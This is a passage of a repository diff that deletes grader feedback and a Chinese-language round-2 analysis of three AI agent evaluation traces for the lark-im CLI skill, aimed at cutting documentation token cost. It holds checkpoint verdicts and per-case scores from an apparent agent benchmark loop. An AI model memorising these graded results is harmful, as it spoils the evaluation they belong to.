"feedback": "所有核心目标均达成。执行者经历了两次试错(shell 引号问题、@file 语法不支持),但均自行修正并成功完成任务,符合合理的调试流程。群创建、卡片创建、消息发送三个决策点全部通过。卡片内容准确包含「今天晚上吃什么」文字,message_id 成功返回。\n- {'reason': '参数文档改进: --content 参数应明确标注不支持 @file 语法,避免 AI 重复试错'}\n- {'reason': '引导性错误: 当检测到 @/path 模式时,错误提示应建议正确的替代参数(如 --file)'}\n- {'reason': '防御性设计: 在 SKILL.md 补充大型 JSON 内容的分段写入指引,减少因引号转义导致的失败'}"
|
||||
}
|
||||
}
|
||||
@@ -1,113 +0,0 @@
|
||||
# Round 2 归因(parent=round-1 已采纳候选 51f2a70e;候选模块见 candidate_modules,由 candidate-writer 据诊断+reach 点名)
|
||||
|
||||
> 目标(objective.json):**在不回退成功率的前提下降低 lark-im skill 文档的 token 成本**。effect 是硬门槛、不可退化;token 与 duration 是并列成本杆。tier=T1,仅可改 `skills/lark-im/**`。
|
||||
> 判分点只当「什么算挂」的锚,不抄 grader 药方。
|
||||
> **本轮 trace = round-1 已采纳候选(51f2a70e,SKILL.md 已 trim 到约 3,915 tok)的行为**,不是 baseline。三题 session 实测已确认 SKILL.md 注入正文为 3,751 tok/题(与 trim 后体积一致),round-1 报告的 5,722 tok/题是 trim 前数字,已过期。
|
||||
|
||||
## ⚠️ 对 round-1 定调的关键修正(先看,影响整轮方向)
|
||||
|
||||
round-1 把三题一律定调为「user 身份授权在沙箱内不可完成 → 全部 blocked」。**实测 trace 推翻了这个 monolith:三题行为完全不同,只有 1 题真卡授权。**
|
||||
|
||||
| case | round-1 说法 | 实测 trace 真相 | verdict(workorder) |
|
||||
|---|---|---|---|
|
||||
| 1 (014) | blocked by user auth | ✅ **确认**:需 `contact +search-user` 解析 open_id(跨 lark-contact 域)→ bot exit2 → user token_missing → 发起 qrcode → 停在扫码。真授权阻断 | PASS(聚合口径;判分点证据全 ✗,**实质 FAIL**) |
|
||||
| 2 (015) | blocked by user auth | ❌ **证伪**:全程 `identity:bot`,从未卡授权。搜群✓、定位「飞豆」消息✓、转发✓、@傅六铭✓,两次 `messages-send` 全 `ok:true`。**任务完整完成** | PASS(判分点 3/3 ✓,真 PASS) |
|
||||
| 3 (080) | blocked by user auth | ❌ **证伪**:`auth status` 看到 bot ready → **主动选 bot 身份** → 建群✓(`ok:true`)→ 发卡片✓(`ok:true`)。**任务完整完成** | PASS(判分点 3/3 ✓,真 PASS) |
|
||||
|
||||
**含义**:本轮 effect 实际是 **2 真 PASS + 1 实质 FAIL**,不是 round-1 描述的「三题全 blocked」。effect 信号是 **auth-noise 主导**(014 卡在沙箱不能扫码 + 跨域 contact,非 lark-im 文档可修;015/080 已绿)。降 token 时**必须保住 015/080 现在走通 bot 身份的链路**——这两题恰好是被 reference 真正喂到、且已成功的题,乱删 reference 里的 identity/参数说明最可能误伤它们。
|
||||
|
||||
## 跨 case 共同根因(优先看;按对 TOKEN 目标的杠杆排序)
|
||||
|
||||
### RC-1(token,头号抓手,3 题全命中、最稳)—— SKILL.md `## Important Notes` + Shortcuts 全表常驻,本轮任务低命中
|
||||
- **现象**:SKILL.md 经 Skill 工具每题必加载(reach=1.0),实测 3,751 tok/题、三题一致(常驻静态)。但其中大段与本轮 3 题(建群 / 搜群+搜消息+转发+@ / 建群+发卡片)无关:
|
||||
- `## Important Notes`(L36–85,约半个文件):Sender Name Resolution、message enrichment、`--download-resources`、Card Messages 限制、Flag 两层、Feed Shortcut 限制——本轮**一条都没用到**,却每题常驻。
|
||||
- `## Shortcuts` 全表(L91–114)逐条列 20+ shortcut,含 flag/feed-group/feed-shortcut/reactions 等本轮完全不相关项。
|
||||
- **可信度=常驻静态**:tiktoken 可测、跨题稳定(3,751×3)。这是降 token 最稳的发力点,且 3 题全命中(reach=1.0),降幅不被任何子集稀释。
|
||||
- **axis=token**。文档位置:`skills/lark-im/SKILL.md` 的 `## Important Notes` 低命中小节 + `## Shortcuts` 全量表。
|
||||
- **方向张力(必须标注)**:这是 round-1 已经动过一刀的同一文件(折叠了 API Resources/权限表)。再压 Important Notes/Shortcuts 是**同向继续**,但**剩余内容大多是 identity/约束类**——删错会碰坏 015/080 已走通的 bot 身份判断。candidate-writer 取舍时这是 effect 风险点,不是 RC-1 不成立。
|
||||
|
||||
### RC-2(token,次级抓手,080 命中、按需读取)—— `messages-send.md` 单文件偏大且内部高度冗余
|
||||
- **现象**:080 读了 `messages-send.md`,实测 **5,365 tok**——本轮所有按需 reference 里最大的单块(占 080 visible 的 24.8%)。该 reference 实测被读且**确实用上了**(080 据此发卡片成功),不是「读了没用」。
|
||||
- **从文档看为何这么大**:messages-send.md(264 行)内部「怎么选 content flag」重复表述 4 处——`## Choose The Right Content Flag`(L23–42)、`## What --markdown Really Does`(L44–92)、`## Preserving Formatting`(L94–112)、`## Common Mistakes`(L192–201)语义大量重叠;`## Commands`(L114–161) 15+ 例覆盖 image/file/video/audio/idempotency 等本轮用不到的形态。这是「单文件冗余 + 全形态罗列」,不是信息缺失。
|
||||
- **可信度=按需读取**:只在实读它的子集(reach=0.333,仅 080)里计入,压缩降幅在该子集不被稀释——但**子集只有 1 题**,证据基数小,效果需评测确认(见数据缺口)。
|
||||
- **axis=token**。文档位置:`skills/lark-im/references/lark-im-messages-send.md`。
|
||||
|
||||
### RC-3(token,次级抓手,014+080 命中、按需读取)—— `chat-create.md` 按需读取偏大
|
||||
- **现象**:014 与 080 都读了 `chat-create.md`,实测 3,060–3,062 tok(reach=0.667)。080 据此建群成功(用上了);014 读后因 user 授权阻断没走到建群(读了但本题没用上)。
|
||||
- **可信度=按需读取**(reach=0.667,子集 2 题)。体积本身不离群,杠杆低于 RC-2,列为更次级。
|
||||
- **axis=token**。文档位置:`skills/lark-im/references/lark-im-chat-create.md`。
|
||||
|
||||
### RC-4(效果,无文档根因 / 本轮不可修)—— 014 的 user 授权阻断 + 跨域 contact 依赖
|
||||
- **现象**:014 需先解析「傅一铭/傅二铭」open_id,走 `contact +search-user`(**lark-contact 域,不在 candidate_modules**):bot 身份 exit2(invalid_argument)→ `--as user` token_missing → 发起 `auth login`+qrcode → 停在扫码。判分点证据全 ✗。
|
||||
- **归因落点**:根因=沙箱不能交互扫码(环境)+ 跨域 contact 命令不可用(非 lark-im)。**lark-im 文档侧无根因、无可修点**——这正是约束 3 的「无文档根因 / 本题不改」出口,不要为凑根因往 lark-im doc 上硬编。
|
||||
- **axis=效果**,标注**无文档根因 / 本轮不改**。effect 维持 baseline 即可,不要试图改路由让 014「修绿」(用户显式要本人身份解析联系人,改 bot 是 reward-hack)。
|
||||
|
||||
## 命令失败热点(跨 case;失败类型由我从 timeline 命令串读出,非判决数字)
|
||||
|
||||
| lark-cli 命令 | 失败次数 | 涉及题数 | 主要失败类型 | 指向的文档问题 |
|
||||
|---|---|---|---|---|
|
||||
| `contact +search-user` | 4 | 1 (014) | bot exit2(invalid_argument) ×2;user token_missing ×2 | **跨 lark-contact 域**,非 lark-im 内容 |
|
||||
| `auth qrcode --output 绝对路径` | 1 | 1 (014) | unsafe output path,改相对路径重试成功 | 路径约束在 lark-shared(不可改) |
|
||||
| `im +messages-search` | 2 | 1 (015) | exit2(bot 身份 + `--as user` 均 exit2) | 见下「messages-search 难用」分析 |
|
||||
| `im +chat-messages-list --page-all` | 1 | 1 (015) | exit2(无过滤 page-all) | 见下「015 token 黑洞」分析 |
|
||||
- **解读**:本轮**没有一条 lark-im 命令因「参数名/类型写错」系统性失败**。080 三条命令 0 失败;015 的失败集中在 `messages-search`(见下)。这意味着**没有 lark-im 侧的常规「报错/参数整形」工单**——与 RC-1/2/3 的 token 方向一致,本轮抓手是减体积不是补内容。
|
||||
|
||||
### 015 的 token 黑洞(重要的新发现,round-1 完全没诊断到)
|
||||
- 015 真正的 token 大头**不是任何 lark-im doc**,而是 **block #19:一次 `Read` 工具读入 22,556 tok(占该题 visible 51.5%)**。成因链:#17 `+messages-search` exit2 → 退而求其次 #18 `+chat-messages-list --page-all`(无时间过滤)→ 输出 43.5KB 被持久化到文件 → agent `Read` 整个文件 → 22.5k tok 灌进上下文。后面又靠本地 `grep`(#27–33) 抠出「飞豆」两条。
|
||||
- **从文档角度**:`chat-messages-list.md` **本题 reach=0**(没读到),而它恰好写了 `--start/--end` 时间过滤、`--page-size`、「无 sender 排序」等能避免全量拉取的约束(L20–52)。SKILL.md 表里对该 shortcut 只写「supports time range/sort/pagination」一句、未提示「大群全量拉取会爆上下文、应先 server-side 收窄」。**这是一个真实的「该读没读 → 全量灌入」放大器**(约束 5 状态①:调用前从没读该 reference)。
|
||||
- **但这条对本轮目标是「方向张力」,不是干净的 token 抓手**:要避免全量灌入,文档侧只能**增加**收窄指引(前置或加 caution),这与「降 token」的常驻成本目标**方向相反**(见硬性约束 7 的冲突记录)。且 22.5k 黑洞是**单次工具输出**(单次输出可信度、单题、强烈依赖该群消息量),不是稳定常驻热点。**结论:列为观察项交评测裁决,不要当成 RC-1 那种干净抓手去推「前置 chat-messages-list」——很可能只增 token 不省。**
|
||||
|
||||
## 可发现性时序(约束 5 三态;判「前置能不能救」的决定性证据)
|
||||
> 对每条相关 reference / `--help`,按相对首次失败调用的读取时序统计。`--help` 扫 Bash(本轮 3 题均未跑任何 `--help`)。
|
||||
|
||||
| reference / `--help` | 聚合 reach | ①从没读 | ②失败后才读 | ③读了仍错/卡 | 主导态 → 改动方向 |
|
||||
|---|---|---|---|---|---|
|
||||
| `lark-shared/SKILL.md` | 1.0 | 0 | 0 | — | 三题调用前都读了;014 仍卡(环境,非内容);不可改 |
|
||||
| `chat-create.md` | 0.667 | 0 | 0 | — | 080 调用前读→建群成功;014 调用前读→授权阻断(非 reference 错)。**非触达问题** |
|
||||
| `messages-send.md` | 0.333 | 0 | 0 | — | 080 调用前读→发卡片成功。**非触达问题** |
|
||||
| `chat-messages-list.md` | 0.0 | 1 (015) | 0 | — | ① **015 调用前从没读**→直接 `--page-all` 全量拉取→token 黑洞。触达缺口,但补它=增 token,与目标冲突(见上) |
|
||||
| `messages-search.md` | 0.0 | 1 (015) | 0 | — | ① 015 从没读 messages-search.md,直接猜 `+messages-search` ×2 → exit2。该命令 user-only(SKILL 表 L101 已注明),bot 身份必败 |
|
||||
- **结论**:本轮 effect 失败的唯一真题(014)是**状态③语义但根因是环境**(内容已触达、卡在沙箱授权+跨域),**前置/补内容救不了**。015 的两处 ① 触达缺口(chat-messages-list / messages-search 没读)确实存在,但**修它们的方向(增内容)与本轮 token 目标相反**,且 015 最终已 PASS(靠 bot + 本地 grep 兜底)——所以这两处**不是必须修的 effect 缺口,只是 token 放大器**,且修了大概率反而增 token。
|
||||
- **对 candidate-writer 的含义**:**本轮没有「该前置」的干净 case**。RC-1/2/3 都是「调用前已读、内容够用 → 减体积」的纯 token 减法,不涉及触达。不要被 015 的两处 ① 诱导去推前置——那会与目标背道而驰。
|
||||
|
||||
## 方向冲突记录(硬性约束 7)
|
||||
- **减体积(RC-1/2/3,与 objective.direction 同向)** vs **补收窄指引(修 015 chat-messages-list 全量灌入,与 objective 反向)**:前者降常驻/按需 token,后者为省「单次工具输出」反而要**增**文档常驻 token。两者方向相反,**不可合并**。本轮目标是降 token,应取减体积一侧;015 的全量灌入作为观察项记录、不作为本轮要补的内容根因。
|
||||
|
||||
## 差距台账复盘
|
||||
- 无(round 2,`discard-ledger.json` 为空,无已跑未采纳候选)。
|
||||
|
||||
## 逐 case
|
||||
|
||||
### 1 (014) [workorder=PASS / 实质 FAIL] token=34555(reported)/visible 17,364 耗时=37s 命令失败率≈5/7 维度=效果(不可修)
|
||||
- 判分点结果:3 条全 ✗——建群/拉人/发消息全未发生,卡在 `contact +search-user` 解析 open_id(user 授权阻断)。verdict=PASS 系聚合口径,按判分点证据当 FAIL 处理。
|
||||
- 命令失败:≈5/7。`contact +search-user` bot exit2 ×2、user token_missing ×2;`auth qrcode` 绝对路径 unsafe ×1(改相对路径成功)。**全部非 lark-im 命令的内容错误**。
|
||||
- 可发现性时序:调用前读了 SKILL.md(reach=1.0)+chat-create.md(3,062 tok);失败在更上游的跨域 contact + 授权。**非 lark-im 触达问题**。
|
||||
- token 归因:SKILL.md 正文 3,751(常驻静态,21.6%)+ chat-create.md 3,062(按需,17.6%,本题没走到建群=读了没用上)+ 系统 Skill 列表注入 4,612(固定开销,不归因)。lark-cli 命令累计含多次短失败回显,单条都短、非热点。
|
||||
- 耗时归因:本题往返多(查联系人→切 contact→失败→auth status→授权→qrcode 重试)。多为授权链路 + 跨域固有串行 + 反应式重试(duration 弱信号,需多轮复现)。
|
||||
- 文档根因:效果=沙箱 user 授权 + 跨域 contact(环境,**无 lark-im 文档根因,本轮不改**);token=SKILL.md 常驻(RC-1)+ chat-create.md 按需(RC-3)。
|
||||
|
||||
### 2 (015) [PASS·真] token=54568(reported)/visible 43,760 耗时=2m5s 命令失败率≈3/9 维度=token
|
||||
- 判分点结果:3/3 ✓——定位群、转发「飞豆」消息、@傅六铭知会全部成功(两次 `messages-send` 均 `ok:true`)。**全程 bot 身份,无授权阻断**。
|
||||
- 命令失败:≈3/9。`+messages-search` bot exit2、`+messages-search --as user` exit2、`+chat-messages-list --page-all` exit2(无过滤);agent 退到 `+chat-messages-list`(无 page-all) + 本地 grep 兜底成功。
|
||||
- 可发现性时序:① `messages-search.md` / `chat-messages-list.md` **调用前从没读**(reach=0),直接猜命令。messages-search 是 user-only(SKILL 表 L101 已注明)、bot 身份必败——agent 没看清就猜。
|
||||
- token 归因:**本题 token 大头不是 lark-im doc**,是 block #19 一次 `Read` 持久化文件 = **22,556 tok(51.5%,其他工具调用/返回)**,成因=`--page-all` 无过滤全量拉取→43.5KB→Read 灌入(单次输出可信度,强依赖该群消息量)。SKILL.md 正文 3,749(常驻)。lark-shared 3,749(跨 skill,不归因 lark-im)。
|
||||
- 耗时归因:本题最长(2m5s),主因是 messages-search 连环失败→改用 page-all→大输出→多次本地 grep 抠数据的多轮往返(duration 弱信号;工具调用 16 raw32,明显高于 080,作旁证)。
|
||||
- 文档根因:token 黑洞的放大器=`chat-messages-list.md` 没被读到 + SKILL.md 表未提示大群应 server-side 收窄——但**补这条与降 token 目标相反**(方向张力,见上),列为观察项;本题已 PASS。常规 token 抓手仍是 RC-1(SKILL.md 减体积)。
|
||||
|
||||
### 3 (080) [PASS·真] token=38009(reported)/visible 21,599 耗时=47s 命令失败率=0/3 维度=token
|
||||
- 判分点结果:3/3 ✓——`auth status` 见 bot ready→主动选 bot→建群`ok:true`→发 interactive 卡片`ok:true`。**任务完整完成,零命令失败**。
|
||||
- 命令失败:0/3。三条 lark-cli(auth status / chat-create / messages-send)全成功。
|
||||
- 可发现性时序:调用前读 SKILL.md + chat-create.md(3,060) + messages-send.md(5,365),全部状态③(调用前已读且用上)。**无触达问题**。
|
||||
- token 归因:**本题是纯 token 抓手题**——读取 Skill 占 56.4%:messages-send.md 5,365(按需,最大单块,RC-2)+ SKILL.md 3,751(常驻,RC-1)+ chat-create.md 3,060(按需,RC-3)。三块 reference/SKILL 都实读且 RC-2 的 messages-send.md 确实用上了。系统 Skill 列表注入 4,612(固定开销,不归因)。
|
||||
- 耗时归因:47s,全部为正常建群+发卡片串行,无重试、无写后回查(无离群)。
|
||||
- 文档根因:无效果根因(已绿);token=RC-2(messages-send.md 内部冗余) + RC-1(SKILL.md 常驻) + RC-3(chat-create.md)。**本题 token 杠杆最高且无 effect 风险**(命令全成功,减 reference 体积不碰已走通链路)。
|
||||
|
||||
## 给 candidate-writer 的收口(不含具体改法)
|
||||
- **唯一在 T1 内可合法发力的轴是 token**,且本轮是**纯减体积**场景(无触达缺口要补、无参数错误要改):
|
||||
- **RC-1**(SKILL.md `## Important Notes` 低命中小节 + `## Shortcuts` 全表):3 题全命中、常驻静态、最稳,但剩余多为 identity/约束类,删错会碰坏 015/080 已走通的 bot 身份判断——**effect 风险点**。
|
||||
- **RC-2**(messages-send.md 内部 4 处「选 content flag」语义重叠 + 全形态 Commands):单文件最大块、内部冗余明确,但子集只有 080 一题(reach=0.333),证据基数小、效果需评测确认。
|
||||
- **RC-3**(chat-create.md 按需偏大):杠杆最低,列为更次级。
|
||||
- **effect 不可在本轮 T1 内合法抬升**:014 是环境(沙箱不能扫码)+ 跨域 contact,无 lark-im 文档根因。015/080 已真 PASS。候选必须**保住 015/080 走通 bot 身份的 identity/参数说明**,降 token 时别误伤。
|
||||
- **不要推前置**:本轮没有「该前置」的干净 case。015 的两处触达缺口(chat-messages-list/messages-search 没读)虽真实存在,但修它们=增内容,与降 token 目标**方向冲突**,且 015 已 PASS——属观察项,非本轮要补的根因。
|
||||
- **缺失信息(doc_fix_hint 语气)**:SKILL.md 的 Important Notes/Shortcuts 全量罗列、本轮低命中却每题常驻;messages-send.md 同一选型规则在 4 处重复表述、Commands 罗列全部媒体形态——这类「全量/重复、低命中」内容是 token 的主要去处,且是减法(删冗余)而非加法。
|
||||
- **数据缺口**:(a) workorder 三题 verdict 全 PASS,但 014 判分点证据全 ✗——归因按判分点当 FAIL 处理,effect 实际是 2 真 PASS + 1 实质 FAIL。(b) RC-2/RC-3 子集小(messages-send.md 仅 080、chat-create.md 仅 014+080),单轮证据基数小,token 降幅需评测在子集上确认。(c) 015 的 22.5k 黑洞是单次工具输出,强依赖该群消息量,非稳定常驻热点,单题不可外推。(d) duration 三题波动大(37s/2m5s/47s),015 长尾主因是 messages-search 连环失败+大输出多轮抠数据,但单轮不足以定论,需多轮复现;工具调用数(8/16/6 model calls)可作比 wall-clock 稳的旁证。(e) 工具调用次数 session-analyze(model calls 8/16/6) 与 workorder 趋势表(R1 均值 26.3) 口径不一致,趋势表疑似含 raw 计数,旁证以 timeline 实际往返为准。
|
||||
@@ -1 +0,0 @@
|
||||
[]
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user